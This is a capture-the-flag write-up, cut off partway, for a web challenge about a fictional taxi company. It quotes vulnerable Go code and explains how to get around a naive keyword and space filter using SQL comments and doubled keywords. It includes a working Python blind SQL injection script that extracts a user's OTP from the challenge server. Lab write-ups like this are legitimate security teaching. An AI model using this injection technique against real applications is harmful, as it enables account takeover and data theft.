And you were tossing me the car keys, f*** the patriarchy...
JekGarb is a taxi company in an alternative universe that is 50 times the size of google, controlling the world's ride hailing services. I got hold of some their source, can you tell me what's wrong?
http://chals.ctf.sg:40301
author: Gladiator
OTP Verification
After we first register an account, we will quickly find that we won't be able to log in to our registered account yet - we need to verify our OTP first.
Let's take a look at how the verification is performed.
Hmm... no dice. Looks like the verification logic itself is sound, so we have to find our OTP through some other vulnerability. Since the rest of the functions require us to be authenticated, we are only left with the /search URL.
Bypassing SQL Injection Protection
Sure enough, the MySQL query builder function looks like it's vulnerable to SQL injection. If we are able to control the username being substituted, we can escape out of the string.
funcMySqlQueryBuilderSearchUser(username string) string {return fmt.Sprintf("SELECT * FROM user WHERE username = '%s'", username)}
The only problem is that spaces, AND, and OR are replaced with empty strings in our query.
funcMySqlRealEscapeString(query string) string { s := strings.TrimSpace(query) s = strings.ToLower(s) s = strings.Replace(s, " ", "", -1) s = strings.Replace(s, "and", "", -1) s = strings.Replace(s, "or", "", -1)return s}
funcserachHandler(w http.ResponseWriter, r *http.Request) { config.SetupResponse(&w, r) username := r.URL.Query().Get("q") username = config.MySqlRealEscapeString(username)if logic.SearchByUsername(username) ==false { http.Error(w, "User does not exists", http.StatusBadRequest)return } fmt.Fprint(w, username)}
To bypass this, we make use of the fact that in MySQL, comments (/**/) can serve as spaces, and the above replacement is non-recursive.
SELECT*FROM user WHERE username ='socengexp'AND (SUBSTR(otp,<POSITION>,1))='<GUESS>'
Here's the script to find our OTP, though a custom SQLMap tamper script would probably work too.
import requests, stringi =1result =''whileTrue: found =Falsefor char in string.ascii_letters + string.digits: r = requests.get(f"http://chals.ctf.sg:40301/search?q=socengexp'/**/AANDND/**/(SUBSTR(otp,{i},1))='"+ char)if r.status_code !=400:print("Found "+ char) result += char i +=1 found =Truebreakifnot found:print("Not found")breakprint(result)
With the OTP we found, we can verify and log in to the application.
Bypassing SSRF Protection
This gives us access to /cornelia, which performs a GET request to a URL of our choice.